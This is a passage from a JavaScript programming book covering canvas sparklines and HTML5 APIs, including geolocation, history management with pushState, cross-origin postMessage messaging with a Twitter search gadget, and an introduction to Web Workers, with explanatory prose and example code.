function hitpaint(context, event) {
    // Translate and scale mouse event coordinates to canvas coordinates
    var canvas = context.canvas;
    var bb = canvas.getBoundingClientRect();
    var x = (event.clientX-bb.left)*(canvas.width/bb.width);
    var y = (event.clientY-bb.top)*(canvas.height/bb.height);

    // Get the pixel (or pixels if multiple device pixels map 1 CSS pixel)
    var pixels = c.getImageData(x,y,1,1);

    // If any pixels have a nonzero alpha, return true (hit)
    for(var i = 3; i < pixels.data.length; i+=4) {
        if (pixels.data[i] !== 0) return true;
    }

    // Otherwise it was a miss.
    return false;
}
```

21.4.16 Canvas Example: Sparklines

We'll end this chapter with a practical example for drawing sparklines. A *sparkline* is a small data-display graphic intended to be included within the flow of text, like this one: Server load: 8. The term "sparkline" was coined by author Edward Tufte, who describes them as "small, high-resolution graphics embedded in a context of words, numbers, images. Sparklines are data-intense, design-simple, word-sized graphics." (Learn more about sparklines in Tufte's book *Beautiful Evidence* [Graphics Press].)

Example 21-13 is a relatively simple module of unobtrusive JavaScript code for enabling sparklines in your web pages. The comments explain how it works. Note that it uses the `onLoad()` function of Example 13-5.

Example 21-13. Sparklines with the <canvas> element

```
/*
 * Find all elements of CSS class "sparkline", parse their content as
 * a series of numbers, and replace it with a graphical representation.
 *
```

```
 * Define sparklines with markup like this:
 *   <span class="sparkline">3 5 7 6 6 9 11 15</span>
 *
 * Style sparklines with CSS like this:
 *   .sparkline { background-color: #ddd; color: red; }
 *
 * - Sparkline color is from the computed style of the CSS color property.
 * - Sparklines are transparent, so the normal background color shows through.
 * - Sparkline height is from the data-height attribute if defined or from
 *   the computed style for the font-size otherwise.
 * - Sparkline width is from the data-width attribute if it is defined
 *   or the number of data points times data-dx if that is defined or
 *   the number of data points times the height divided by 6
 * - The minimum and maximum values of the y axis are taken from the data-ymin
 *   and data-ymax attributes if they are defined, and otherwise come from
 *   the minimum and maximum values of the data.
 */
onLoad(function() {   // When the document firsts loads
    // Find all elements of class "sparkline"
    var elts = document.getElementsByClassName("sparkline");
    main: for(var e = 0; e < elts.length; e++) { // For each element
        var elt = elts[e];

        // Get content of the element and convert to an array of numbers.
        // If the conversion fails, skip this element.
        var content = elt.textContent || elt.innerText;  // Element content
        var content = content.replace(/^\s+|\s+$/g, ""); // Strip spaces
        var text = content.replace(/#.*$/gm, "");  // Strip comments
        text = text.replace(/[\n\r\t\v\f]/g, " "); // Convert \n etc, to space
        var data = text.split(/\s+|\s*,\s*/);      // Split on space or comma
        for(var i = 0; i < data.length; i++) {     // For each chunk
            data[i] = Number(data[i]);             // Convert to a number
            if (isNaN(data[i])) continue main;     // and abort on failure
        }

        // Now compute the color, width, height, and y axis bounds of the
        // sparkline from the data, from data- attributes of the element,
        // and from the computed style of the element.
        var style = getComputedStyle(elt, null);
        var color = style.color;
        var height = parseInt(elt.getAttribute("data-height")) ||
            parseInt(style.fontSize) || 20;
        var width = parseInt(elt.getAttribute("data-width")) ||
            data.length * (parseInt(elt.getAttribute("data-dx")) || height/6);
        var ymin = parseInt(elt.getAttribute("data-ymin")) ||
            Math.min.apply(Math, data);
        var ymax = parseInt(elt.getAttribute("data-ymax")) ||
            Math.max.apply(Math, data);
        if (ymin >= ymax) ymax = ymin + 1;

        // Create the canvas element.
        var canvas = document.createElement("canvas");
        canvas.width = width;     // Set canvas dimensions
        canvas.height = height;
        canvas.title = content;   // Use the element content as a tooltip
        elt.innerHTML = "";       // Erase existing element content
```

```
        elt.appendChild(canvas);  // Insert the canvas into the element

        // Now plot the points (i,data[i]), transforming to canvas coordinates.
        var context = canvas.getContext('2d');
        for(var i = 0; i < data.length; i++) {          // For each data point
            var x = width*i/data.length;                // Scale i
            var y = (ymax-data[i])*height/(ymax-ymin);  // Scale data[i]
            context.lineTo(x,y); // First lineTo() does a moveTo() instead
        }
        context.strokeStyle = color;   // Specify the color of the sparkline
        context.stroke();              // and draw it
    }
});
```

CHAPTER 22
HTML5 APIs

The term HTML5 refers to the latest version of the HTML specification, of course, but it has also come to refer to an entire suite of web application technologies that are being developed and specified as part of or alongside HTML. A more formal term for these technologies is the Open Web Platform. In practice, however, "HTML5" is a convenient shorthand, and this chapter uses it in that way. Some of the new HTML5 APIs are documented elsewhere in this book:

- Chapter 15 covers the `getElementsByClassName()` and `querySelectorAll()` methods and the `dataset` attribute of document elements.
- Chapter 16 covers the `classList` property of elements.
- Chapter 18 covers XMLHttpRequest Level 2, cross-origin HTTP requests, and the EventSource API defined by the Server-Sent Events specification.
- Chapter 20 documents the Web Storage API and the application cache for offline web apps.
- Chapter 21 covers the `<audio>`, `<video>`, and `<canvas>` elements and SVG graphics.

This chapter covers a number of other HTML5 APIs:

- §22.1 covers the Geolocation API, which allows browsers to (with permission) determine the user's physical location.
- §22.2 covers history management APIs that allow web applications to save and update their state in response to the browser's Back and Forward buttons without having to reload themselves from the web server.
- §22.3 describes a simple API for passing messages between documents with different origins. This API safely works around the same-origin security policy (§13.6.2) that prevents documents from different web servers from interacting directly with each other.
- §22.4 covers a major new feature of HTML5: the ability to run JavaScript code in an isolated background thread and to safely communicate with those "worker" threads.

- §22.5 describes special-purpose memory-efficient types for working with arrays of bytes and numbers.
- §22.6 covers Blobs: opaque chunks of data that serve as the central data exchange format for a variety of new binary data APIs. This section also covers a number of Blob-related types and APIs: File and FileReader objects, the BlobBuilder type, and Blob URLs.
- §22.7 demonstrates the Filesytem API by which web applications can read and write files within a private sandboxed filesystem. This is one of the APIs that is still in flux and is not documented in the reference section.
- §22.8 demonstrates the IndexedDB API for storing and retrieving objects in simple databases. Like the Filesystem API, IndexedDB is unstable and is not documented in the reference section.
- Finally, §22.9 covers the Web Sockets API that allows web applications to connect to servers using bidirectional stream-based networking instead of the stateless request/response networking model supported by XMLHttpRequest.

The features documented in this chapter either do not fit naturally into any of the previous chapters or are not yet stable and mature enough to integrate into the main chapters of the book. Some of the APIs seem stable enough to document in the reference section, while in other cases the API is still in flux and is not covered in Part IV. All but one of the examples in this chapter (Example 22-9), worked in at least one browser when this book went to press. Because the specifications being covered here are still evolving, some of these examples may no longer work when you read this chapter.

22.1 Geolocation

The Geolocation API allows JavaScript programs to ask the browser for the user's real-world location. Location-aware applications can display maps, directions, and other information relevant to the user's current position. There are, of course, significant privacy concerns here, and browsers that support the Geolocation API always ask the user before allowing a JavaScript program to access the user's physical location.

Browsers that support the Geolocation API define `navigator.geolocation`. This property refers to an object with three methods:

`navigator.geolocation.getCurrentPosition()`
: Request the user's current position.

`navigator.geolocation.watchPosition()`
: Request the current position, but also continue to monitor position and invoke the specified callback when the user's position changes.

`navigator.geolocation.clearWatch()`
: Stop watching the user's location. The argument to this method should be the number returned by the corresponding call to `watchPosition()`.

In devices that include GPS hardware, very precise location information can be obtained from the GPS unit. More commonly, however, location information comes via the Web. If a browser submits your Internet IP address to a web service, it can usually determine (based on ISP records) what city you are in (and it is common for advertisers to do this on the server side). A browser can often obtain an even more precise location by asking the operating system for the list of nearby wireless networks and their signal strengths. This information, when submitted to a sophisticated web service allows your location to be computed with surprising accuracy (usually within one city block).

These geolocation technologies involve either an exchange over the network or communication with multiple satellites, so the Geolocation API is asynchronous: `getCurrentPosition()` and `watchPosition()` return immediately but accept a callback argument that the browser invokes when it has determined the user's position (or when the position has changed). The simplest form of location request looks like this:

```
navigator.geolocation.getCurrentPosition(function(pos) {
    var latitude = pos.coords.latitude;
    var longitude = pos.coords.longitude;
    alert("Your position: " + latitude + ", " + longitude);
});
```

In addition to latitude and longitude, every successful geolocation request also returns an accuracy value (in meters) that specifies how closely the position is known. Example 22-1 demonstrates: it calls `getCurrentPosition()` to determine the current position and uses the resulting information to display a map (from Google Maps) of the current location, zoomed approximately to the location accuracy.

Example 22-1. Using geolocation to display a map

```
// Return a newly created <img> element that will (once geolocation succeeds)
// be set to display a Google map of the current location. Note that the caller
// must insert the returned element into the document in order to make it
// visible. Throws an error if geolocation is not supported in the browser
function getmap() {
    // Check for geolocation support
    if (!navigator.geolocation) throw "Geolocation not supported";

    // Create a new <img> element, start a geolocation request to make the img
    // display a map of where we are, and then return the image.
    var image = document.createElement("img");
    navigator.geolocation.getCurrentPosition(setMapURL);
    return image;

    // This function will be invoked after we return the image object, when
    // (and if) the geolocation request succeeds.
    function setMapURL(pos) {
        // Get our position information from the argument object
        var latitude = pos.coords.latitude;    // Degrees N of equator
        var longitude = pos.coords.longitude;  // Degrees E of Greenwich
        var accuracy = pos.coords.accuracy;    // Meters

        // Construct a URL for a static Google map image of this location
        var url = "http://maps.google.com/maps/api/staticmap" +
```

```
            "?center=" + latitude + "," + longitude +
            "&size=640x640&sensor=true";

        // Set the map zoom level using a rough heuristic
        var zoomlevel=20;     // Start zoomed in almost all the way
        if (accuracy > 80)    // Zoom out for less accurate positions
            zoomlevel -= Math.round(Math.log(accuracy/50)/Math.LN2);
        url += "&zoom=" + zoomlevel;  // Add zoom level to the URL

        // Now display the map in the image object. Thanks, Google!
        image.src = url;
    }
}
```

The Geolocation API has several features that are not demonstrated by Example 22-1:

- In addition to the first callback argument, `getCurrentPosition()` and `watchPosition()` accept an optional second callback that is invoked if the geolocation request fails.
- In addition to the success and error callbacks, those two methods also accept an options object as an optional third argument. The properties of this object specify whether a high accuracy position is desired, how "stale" the position is allowed to be, and how long the system is allowed to take to determine the position.
- The object passed to the success callback also includes a timestamp and may (on some devices) include additional information such as altitude, speed, and heading.

Example 22-2 demonstrates these additional features.

Example 22-2. A demonstration of all geolocation features

```
// Determine my location asynchronously and display it in the specified element.
function whereami(elt) {
    // Pass this object as the 3rd argument to getCurrentPosition()
    var options = {
        // Set to true to get a higher accuracy reading (from GPS, for example)
        // if available. Note, however that this can affect battery life.
        enableHighAccuracy: false, // Approximate is okay: this is the default

        // Set this property if a cached location is good enough.
        // The default is 0, which forces location to be checked anew.
        maximumAge: 300000,        // A fix from the last 5 minutes is okay

        // How long are you willing to wait to get the location?
        // The default is Infinity and getCurrentPosition() never times out
        timeout: 15000             // Don't take more than 15 seconds
    };

    if (navigator.geolocation) // Request position, if supported
        navigator.geolocation.getCurrentPosition(success, error, options);
    else
        elt.innerHTMl = "Geolocation not supported in this browser";

    // This function will be invoked if geolocation fails
```

```
    function error(e) {
        // The error object has a numeric code and a text message. Code values:
        // 1: the user did not give permission to share his or her location
        // 2: the browser was unable to determine the position
        // 3: a timeout occurred
        elt.innerHTML = "Geolocation error " + e.code + ": " + e.message;
    }

    // This function will be invoked if geolocation succeeds
    function success(pos) {
        // These are the fields that we always get. Note that the timestamp
        // is in the outer object, not the inner, coords object.
        var msg = "At " +
            new Date(pos.timestamp).toLocaleString() + " you were within " +
            pos.coords.accuracy + " meters of latitude " +
            pos.coords.latitude + " longitude " +
            pos.coords.longitude + ".";

        // If our device returns altitude, add that information.
        if (pos.coords.altitude) {
            msg += " You are " + pos.coords.altitude + " ± " +
                pos.coords.altitudeAccuracy + "meters above sea level.";
        }

        // if our device returns speed and heading, add that, too.
        if (pos.coords.speed) {
            msg += " You are travelling at " +
                pos.coords.speed + "m/s on heading " +
                pos.coords.heading + ".";
        }

        elt.innerHTML = msg;  // Display all the position information
    }
}
```

22.2 History Management

Web browsers keep track of what documents have been loaded into a window and display Back and Forward buttons that allow the user to navigate among those documents. This browser history model dates back to the days in which documents were passive and all computation was performed on the server. Today, web applications often generate or load content dynamically and display new application states without performing new document loads. Applications like these must perform their own history management if they want to user to be able to use the Back and Forward buttons to navigate from one application state to another in an intuitive way. HTML5 defines two mechanisms for history management.

The simpler history management technique involves `location.hash` and the hash-change event. This technique is also somewhat more widely implemented at the time of this writing: browsers were beginning to implement it even before HTML5 standardized it. In most browsers (but not older versions of IE), setting the `location.hash`

property updates the URL displayed in the location bar and adds an entry to the browser's history. The `hash` property sets the fragment identifier of the URL and is traditionally used to specify the ID of a document section to scroll to. But `location.hash` does not have to be an element ID: you can set it to any string. If you can encode your application state as a string, you can use that string as a fragment identifier.

By setting the `location.hash` property, then, you allow the user to use the Back and Forward buttons to navigate between document states. For this to work, your application must have some way to detect these changes of state, so that it can read the state stored in the fragment identifier and update itself accordingly. In HTML5, the browser fires a hashchange event at the Window whenever the fragment identifier changes. In browsers that support the hashchange event, you can set `window.onhashchange` to a handler function that will be called whenever the fragment identifier changes as a result of history navigation. When this handler function is called, your function would parse the `location.hash` value and redisplay the application using the state information it contains.

HTML5 also defines a somewhat more complex and robust method of history management involving the `history.pushState()` method and the popstate event. When a web app enters a new state, it calls `history.pushState()` to add that state to the browsing history. The first argument is an object that contains all the state information necessary to restore the current state of the document. Any object that can be converted to a string with `JSON.stringify()` will work, and certain other native types such as Date and RegExp should also work as well (see the sidebar below). The second argument is an optional title (a plain text string) that the browser can use (in a `<Back>` menu, for example) to identify the saved state in the browsing history. The third argument is an optional URL that will be displayed as the location of the current state. Relative URLs are resolved against the current location of the document, and it is common to simply specify a hash (or "fragment identifier") portion of the URL, such as `#state`. Associating a URL with each state allows the user to bookmark internal states of your application, and if you include sufficient information in the URL, your application can restore its state when loaded from a bookmark.

Structured Clones

As noted above, the `pushState()` method accepts a state object and makes a private copy of it. This is a deep copy or deep clone of the object: it recursively copies the contents of any nested objects or arrays. The HTML5 standard calls this kind of copy a *structured clone*. The process of creating a structured clone is something like passing the object to `JSON.stringify()` and then passing the resulting string to `JSON.parse()` (see §6.9). But JSON only supports JavaScript primitives plus objects and arrays. The HTML5 standard says that the structured clone algorithm must also be able to clone Date and RegExp objects, ImageData objects (from the `<canvas>` element: see §21.4.14), and FileList, File, and Blob objects (described in §22.6). JavaScript functions and errors are explicitly excluded from the structured clone algorithm, as are most host objects such as windows, documents, elements, and so on.

> You may not have any reason to store files or image data as part of your history state, but structured clones are also used by a number of other HTML5-related standards, and we'll see them again throughout this chapter.

In addition to the `pushState()` method, the History object also defines `replaceState()`, which takes the same arguments but replaces the current history state instead of adding a new state to the browsing history.

When the user navigates to saved history states using the Back or Forward buttons, the browser fires a popstate event on the Window object. The event object associated with the event has a property named `state`, which contains a copy (another structured clone) of the state object you passed to `pushState()`.

Example 22-3 is a simple web application—the number guessing game pictured in Figure 22-1—that uses these HTML5 techniques to save its history, allowing the user to "go back" to review or redo her guesses.

As this book goes to press, Firefox 4 has made two modifications to the History API that other browsers may follow. First, Firefox 4 makes the current state available through the `state` property of the History object itself, which means that newly loaded pages do not need to wait for a popstate event. Second, Firefox 4 no longer fires a popstate event for newly loaded pages that do not have any saved state. This second change means that the example below does not work quite right in Firefox 4.

Figure 22-1. A number guessing game

Example 22-3. History management with pushState()

```
<!DOCTYPE html>
<html><head><title>I'm thinking of a number...</title>
<script>
```

```
window.onload = newgame;        // Start a new game when we load
window.onpopstate = popState;   // Handle history events
var state, ui;                  // Globals initialized in newgame()

function newgame(playagain) {   // Begin a new game of guess-the-number
    // Set up an object to hold document elements we care about
    ui = {
        heading: null, // The <h1> at the top of the document.
        prompt: null,  // Ask the user to enter a guess.
        input: null,   // Where the user enters the guess.
        low: null,     // Three table cells for the visual representation
        mid: null,     // ...of the range of numbers to guess.
        high: null
    };
    // Look up each of these element ids
    for(var id in ui) ui[id] = document.getElementById(id);

    // Define an event handler for the input field
    ui.input.onchange = handleGuess;

    // Pick a random number and initialize game state
    state = {
        n: Math.floor(99 * Math.random()) + 1,  // An integer: 0 < n < 100
        low: 0,            // The lower bound (exclusive) on guesses
        high: 100,         // The upper bound (exclusive) on guesses
        guessnum: 0,       // How many guesses have been made
        guess: undefined   // What the last guess was
    };

    // Modify document content to display this initial state
    display(state);

    // This function is called as the onload event handler, and is also called
    // by the Play Again button displayed at the end of a game. The playagain
    // argument will be true in that second case. If it is true, then we save
    // the new game state. But if we were called in response to a load event,
    // we don't save the state. This is because load events will also occur
    // when we step backwards through the browser history from some other
    // document into the existing state of a game. If we were to save a new
    // initial state, in that case we would overwrite the acutal historical
    // state of the game. In browsers that support pushState(), the load event
    // is always followed by a popstate event. So rather than saving state here,
    // we wait for the popstate. If it gives us a state object, we just use
    // that. Otherwise, if the popstate has a null state, we know this is
    // really a new game and we use replaceState to save the new game state.
    if (playagain === true) save(state);
}

// Save game state into browser history with pushState(), if it is supported
function save(state) {
    if (!history.pushState) return; // Do nothing if pushState() not defined

    // We'll associate a URL with the saved state. This URL displays the
    // guess number, but does not encode the game state, so it is not useful
    // to bookmark. We can't easily put game state in the URL because it would
    // make the secret number visible in the location bar.
```

```
    var url = "#guess" + state.guessnum;
    // Now save the state object and the URL
    history.pushState(state,  // State object to save
                      "",     // State title: current browsers ignore this
                      url);   // State URL: not useful to bookmark
}

// This is the onpopstate event handler that restores historical states.
function popState(event) {
    if (event.state) {  // If the event has a state object, restore that state
        // Note that event.state is a deep copy of the saved state object
        // so we can modify it without altering the saved value.
        state = event.state;    // Restore the historical state
        display(state);         // Display the restored state
    }
    else {
        // When we load the page for the first time, we'll get a popstate event
        // with no state. Replace that null state with our real state: see the
        // comment in newgame(). No need to call display() here.
        history.replaceState(state, "", "#guess" + state.guessnum);
    }
};

// This event handler is invoked each time the user guesses a number.
// It updates the game state, saves it, and displays it.
function handleGuess() {
    // Get the user's guess from the input field
    var g = parseInt(this.value);
    // If it is a number and is in the right range
    if ((g > state.low) && (g < state.high)) {
        // Update the state object based on this guess
        if (g < state.n) state.low = g;
        else if (g > state.n) state.high = g;
        state.guess = g;
        state.guessnum++;
        // Now save the new state in the browser's history
        save(state);
        // Modify the document to respond to the user's guess
        display(state);
    }
    else {  // An invalid guess: don't push a new history state
        alert("Please enter a number greater than " + state.low +
              " and less than " + state.high);
    }
}

// Modify the document to display the current state of the game.
function display(state) {
    // Display document heading and title
    ui.heading.innerHTML = document.title =
        "I'm thinking of a number between " +
        state.low + " and " + state.high + ".";

    // Display a visual representation of the range of numbers using a table
    ui.low.style.width = state.low + "%";
    ui.mid.style.width = (state.high-state.low) + "%";
```

```
    ui.high.style.width = (100-state.high) + "%";

    // Make sure the input field is visible, empty, and focused
    ui.input.style.visibility = "visible";
    ui.input.value = "";
    ui.input.focus();

    // Set the prompt based on the user's most recent guess
    if (state.guess === undefined)
        ui.prompt.innerHTML = "Type your guess and hit Enter: ";
    else if (state.guess < state.n)
        ui.prompt.innerHTML = state.guess + " is too low. Guess again: ";
    else if (state.guess > state.n)
        ui.prompt.innerHTML = state.guess + " is too high. Guess again: ";
    else {
        // When correct, hide the input field and show a Play Again button.
        ui.input.style.visibility = "hidden";  // No more guesses now
        ui.heading.innerHTML = document.title = state.guess + " is correct! ";
        ui.prompt.innerHTML =
            "You Win! <button onclick='newgame(true)'>Play Again</button>";
    }
}
</script>
<style>  /* CSS styles to make the game look good */
#prompt { font-size: 16pt; }
table { width: 90%; margin:10px; margin-left:5%; }
#low, #high { background-color: lightgray; height: 1em; }
#mid { background-color: green; }
</style>
</head>
<body><!-- The HTML elements below are the game UI -->
<!-- Game title and textual representation of the range of numbers -->
<h1 id="heading">I'm thinking of a number...</h1>
<!-- a visual representation of the numbers that haven't been ruled out -->
<table><tr><td id="low"></td><td id="mid"></td><td id="high"></td></tr></table>
<!-- Where the user enters their guess -->
<label id="prompt"></label><input id="input" type="text">
</body></html>
```

22.3 Cross-Origin Messaging

As noted in §14.8, some browser windows and tabs are completely isolated from each other, and the code running in one is completely unaware of the others. In other cases, when a script explicitly opens new windows or works with nested frames, the multiple windows and frames are aware of each other. If they contain documents from the same web server, scripts in these windows and frames can interact with each other and manipulate each other's documents.

Sometimes, however, a script can refer to another Window object, but because the content in that window is from a different origin, the web browser (following the same-origin policy) will not allow the script to see the document content of that other window. For the most part, the browser won't allow the script to read properties or invoke

methods of that other window, either. One window method that scripts from different origins *are* allowed to invoke is called `postMessage()`, and this method enables a limited kind of communication—in the form of asynchronous message passing—between scripts from different origins. This kind of communication is defined by HTML5 and is implemented by all current browsers (including IE8 and later). The technique is known as "cross-document messaging," but since the API is defined on the Window object instead of the document, it might be better known as "inter-window message passing" or "cross-origin messaging."

The `postMessage()` method expects two arguments. The first is the message to be sent. The HTML5 specification says that this can be any primitive value or object that can be cloned (see "Structured Clones" on page 672), but some current browser implementations (including Firefox 4 beta) expect strings, so if you want to pass an object or array as a message you should serialize it with `JSON.stringify()` (§6.9) first.

The second argument is a string that specifies the expected origin of the destination window. Include the protocol, hostname, and (optionally) the port portions of a URL (you can pass a complete URL, but anything other than the protocol, host, and port will be ignored). This is a security feature: malicious code or ordinary users can navigate windows to new documents that you don't expect, so `postMessage()` won't deliver your message if the window contains a document from a different origin than the one you specified. If the message you are passing doesn't contain any sensitive information and you are willing to pass it to code from any origin, you can pass the string `"*"` as a wildcard instead. If you want to specify the same origin as the current window, you can simply use `"/"`.

If the origins match, the call to `postMessage()` will result in a message event being fired at the target Window object. A script in that window can define an event handler function to be notified of message events. This handler is passed an event object with the following properties:

`data`
: This is a copy of the message that was passed as the first argument to `postMessage()`.

`source`
: The Window object from which the message was sent.

`origin`
: A string that specifies the origin (as a URL) from which the message was sent.

Most `onmessage()` handlers should first check the `origin` property of their argument and should ignore messages from unexpected domains.

Cross-origin messaging via `postMessage()` and the message event can be useful when you want to include a module or "gadget" from another site within your web page. If the gadget is simple and self-contained, you can simply isolate it in an `<iframe>`. Suppose, however, that it is a more complex gadget that defines an API and your web page has to control it or interact with it somehow. If the gadget is defined as a `<script>` element, it can expose a normal JavaScript API, but including in your page allows it to

take complete control of the page and its content. It is not uncommon to do this on the Web today (particularly for web advertising), but it is not really a good idea, even when you trust the other site.

Cross-origin messaging provides an alternative: the gadget author can package the gadget within an HTML file that listens for message events and dispatches those events to the appropriate JavaScript functions. Then the web page that includes the gadget can interact with it by sending messages with `postMessage()`. Examples 22-4 and 22-5 demonstrate this. Example 22-4 is a simple gadget, included via `<iframe>`, that searches Twitter and displays tweets that match a specified search term. To make this gadget search for something, the containing page simply sends it the desired search term as a message.

Example 22-4. A Twitter search gadget, controlled by postMessage()

```
<!DOCTYPE html>
<!--
  This is a Twitter search gadget. Include it in any webpage, inside an
  iframe, and ask it to search for things by sending it a query string with
  postMessage(). Since it is in an <iframe> and not a <script>, it can't
  mess around with the containing document.
-->
<html>
<head>
<style>body { font: 9pt sans-serif; }</style>
<!-- Use jQuery for its jQuery.getJSON() utility -->
<script src="http://code.jquery.com/jquery-1.4.4.min.js"/></script>
<script>
// We ought to just be able to use window.onmessage, but some older browsers
// (e.g., Firefox 3) don't support it, so we do it this way instead.
if (window.addEventListener)
    window.addEventListener("message", handleMessage, false);
else
    window.attachEvent("onmessage", handleMessage);   // For IE8

function handleMessage(e) {
    // We don't care what the origin of this message is: we're willing
    // to search Twitter for anyone who asks us. We do expect the message
    // to come from the window that contains us, however.
    if (e.source !== window.parent) return;

    var searchterm = e.data;  // This is what we were asked to search for

    // Use jQuery Ajax utlities and the Twitter search API to find
    // tweets matching the message.
    jQuery.getJSON("http://search.twitter.com/search.json?callback=?",
                   { q: searchterm },
                   function(data) {   // Called with request results
                       var tweets = data.results;
                       // Build an HTML document to display these results
                       var escaped = searchterm.replace("<", "&lt;");
                       var html = "<h2>" + escaped + "</h2>";
                       if (tweets.length == 0) {
                           html += "No tweets found";
```

```
                    }
                    else {
                        html += "<dl>"; // <dl> list of results
                        for(var i = 0; i < tweets.length; i++) {
                            var tweet = tweets[i];
                            var text = tweet.text;
                            var from = tweet.from_user;
                            var tweeturl = "http://twitter.com/#!/" +
                                from + "/status/" + tweet.id_str;
                            html += "<dt><a target='_blank' href='" +
                                tweeturl + "'>" + tweet.from_user +
                                "</a></dt><dd>" + tweet.text + "</dd>";
                        }
                        html += "</dl>";
                    }
                    // Set the <iframe> document
                    document.body.innerHTML = html;
                });
}

$(function() {
    // Let our container know we're here and ready to search.
    // The container can't send any messages to us before it gets this message
    // from us because we won't be here to receive the message yet.
    // Normally, containers can just wait for an onload event to know that all
    // of their <iframe>s have loaded. We send this message for containers that
    // want to start searching Twitter even before they get their onload event.
    // We don't know the origin of our container, so use * so that the browser
    // will deliver it to anyone.
    window.parent.postMessage("Twitter Search v0.1", "*");
});
</script>
</head>
<body>
</body>
</html>
```

Example 22-5 is a simple JavaScript file that can be inserted into any web page that wants to use the Twitter search gadget. It inserts the gadget into the document and then adds an event handler to all links in the document so that moving the mouse over a link calls `postMessage()` on the gadget's frame to make the gadget search for the URL of the link. This allows a user to see what, if anything, people are tweeting about a website before visiting the site.

Example 22-5. Using the Twitter search gadget with postMessage()

```
// This file of JS code inserts the Twitter Search Gadget into the document
// and adds an event handler to all links in the document so that when the
// use moves the mouse over them, the gadget searches for the link's URL.
// This allows the user to see what people are tweeting about the link
// destination before clicking on it.
window.addEventListener("load", function() {       // Won't work in IE < 9
    var origin = "http://davidflanagan.com";       // Gadget origin
    var gadget = "/demos/TwitterSearch.html";      // Gadget path
    var iframe = document.createElement("iframe"); // Create the iframe
```

```
    iframe.src = origin + gadget;                  // Set its URL
    iframe.width = "250";                          // 250 pixels wide
    iframe.height = "100%";                        // Full document height
    iframe.style.cssFloat = "right";               // Flush right

    // Insert the iframe at the start of the document
    document.body.insertBefore(iframe, document.body.firstChild);

    // Now find all links and hook them up to the gadget
    var links = document.getElementsByTagName("a");
    for(var i = 0; i < links.length; i++) {
        // addEventListener doesn't work in IE8 and before
        links[i].addEventListener("mouseover", function() {
            // Send the url as the search term, and only deliver it if the
            // iframe is still displaying a document from davidflanagan.com
            iframe.contentWindow.postMessage(this.href, origin);
        }, false);
    }
}, false);
```

22.4 Web Workers

One of the fundamental features of client-side JavaScript is that it is single-threaded: a browser will never run two event handlers at the same time, and it will never trigger a timer while an event handler is running, for example. Concurrent updates to application state or to the document are simply not possible, and client-side programmers do not need to think about, or even understand, concurrent programming. A corollary is that client-side JavaScript functions must not run too long: otherwise they will tie up the event loop and the web browser will become unresponsive to user input. This is the reason that Ajax APIs are always asynchronous and the reason that client-side JavaScript cannot have a simple, synchronous `load()` or `require()` function for loading JavaScript libraries.

The Web Workers specification[1] very carefully relaxes the single-threaded requirement for client-side JavaScript. The "workers" it defines are effectively parallel threads of execution. Web workers live in a self-contained execution environment, however, with no access to the Window or Document object and can communicate with the main thread only through asynchronous message passing. This means that concurrent modifications of the DOM are still not possible, but it also means that there is now a way to use synchronous APIs and write long-running functions that do not stall the event loop and hang the browser. Creating a new worker is not a heavyweight operation like opening a new browser window, but workers are not flyweight threads either, and it does not make sense to create new workers to perform trivial operations. Complex web

1. Web workers were originally part of the HTML5 specification, but they were broken off into an independent, but closely related specification. At the time of this writing, specification drafts are available at *http://dev.w3.org/html5/workers/* and *http://whatwg.org/ww*.

applications may find it useful to create tens of workers, but it is unlikely that an application with hundreds or thousands of workers would be practical.

As with any threading API, there are two pieces to the Web Workers specification. The first is the Worker object: this is what a worker looks like from the outside, to the thread that creates it. The second is the WorkerGlobalScope: this is the global object for a new worker, and it is what a worker thread looks like, on the inside, to itself. The subsections that follow explain both. They are followed by a section of examples.

22.4.1 Worker Objects

To create a new worker, just use the `Worker()` constructor, passing a URL that specifies the JavaScript code that the worker is to run:

```
var loader = new Worker("utils/loader.js");
```

If you specify a relative URL, it is resolved relative to the URL of the document that contains the script that called the `Worker()` constructor. If you specify an absolute URL, it must have the same origin (same protocol, host, and port) as that containing document.

Once you have a Worker object, you can send data to it with `postMessage()`. The value you pass to `postMessage()` will be cloned (see "Structured Clones" on page 672), and the resulting copy will be delivered to the worker via a message event:

```
loader.postMessage("file.txt");
```

Note that the `postMessage()` method of a Worker does not have the origin argument that the `postMessage()` method of a Window does (§22.3). Also, the `postMessage()` method of a Worker correctly clones the message in current browsers, unlike `Window.postMessage()`, which is still restricted to string messages in some important browsers.

You can receive messages from a worker by listening for message events on the Worker object:

```
worker.onmessage = function(e) {
    var message = e.data;                    // Get message from event
    console.log("URL contents: " + message); // Do something with it
}
```

If a worker throws an exception and does not catch or handle it itself, that exception propagates as an event that you can listen for:

```
worker.onerror = function(e) {
    // Log the error message, including worker filename and line number
    console.log("Error at " + e.filename + ":" + e.lineno + ": " +
                e.message);
}
```

Like all event targets, Worker objects define the standard `addEventListener()` and `removeEventListener()` methods, and you can use these in place of the `onmessage` and `onerror` properties if you want to manage multiple event handlers.

The Worker object has just one other method, `terminate()`, which forces a worker thread to stop running.

22.4.2 Worker Scope

When you create a new worker with the `Worker()` constructor, you specify the URL of a file of JavaScript code. That code is executed in a new, pristine JavaScript execution environment, completely isolated from the script that created the worker. The global object for that new execution environment is a WorkerGlobalScope object. A WorkerGlobalScope is something more than the core JavaScript global object, but less than a full-blown client-side Window object.

The WorkerGlobalScope object has a `postMessage()` method and an `onmessage` event handler property that are just like those of the Worker object but work in the opposite direction: calling `postMessage()` inside a worker generates a message event outside the worker, and messages sent from outside the worker are turned into events and delivered to the `onmessage` handler. Note that since the WorkerGlobalScope is the global object for a worker, `postMessage()` and `onmessage` look like a global function and global variable to worker code.

The `close()` function allows a worker to terminate itself, and it is similar in effect to the `terminate()` method of a Worker object. Note, however, that there is no API on the Worker object to test whether a worker has closed itself, and there is no `onclose` event handler property, either. If you call `postMessage()` on a worker that has closed, your message will be discarded silently and no error will be raised. In general, if a worker is going to `close()` itself, it may be a good idea to first post some kind of "closing" message.

The most interesting global function defined by WorkerGlobalScope is `importScripts()`: workers use this function to load any library code they require. For example:

```
// Before we start working, load the classes and utilities we'll need
importScripts("collections/Set.js", "collections/Map.js", "utils/base64.js");
```

`importScripts()` takes one or more URL arguments, each of which should refer to a file of JavaScript code. Relative URLs are resolved relative to the URL that was passed to the `Worker()` constructor. It loads and executes these files one after the other, in the order in which they were specified. If loading a script causes a network error, or if executing throws an error of any sort, none of the subsequent scripts are loaded or executed. A script loaded with `importScripts()` can itself call `importScripts()` to load the files it depends on. Note, however, that `importScripts()` does not try to keep track of what scripts have already loaded and does nothing to prevent dependency cycles.

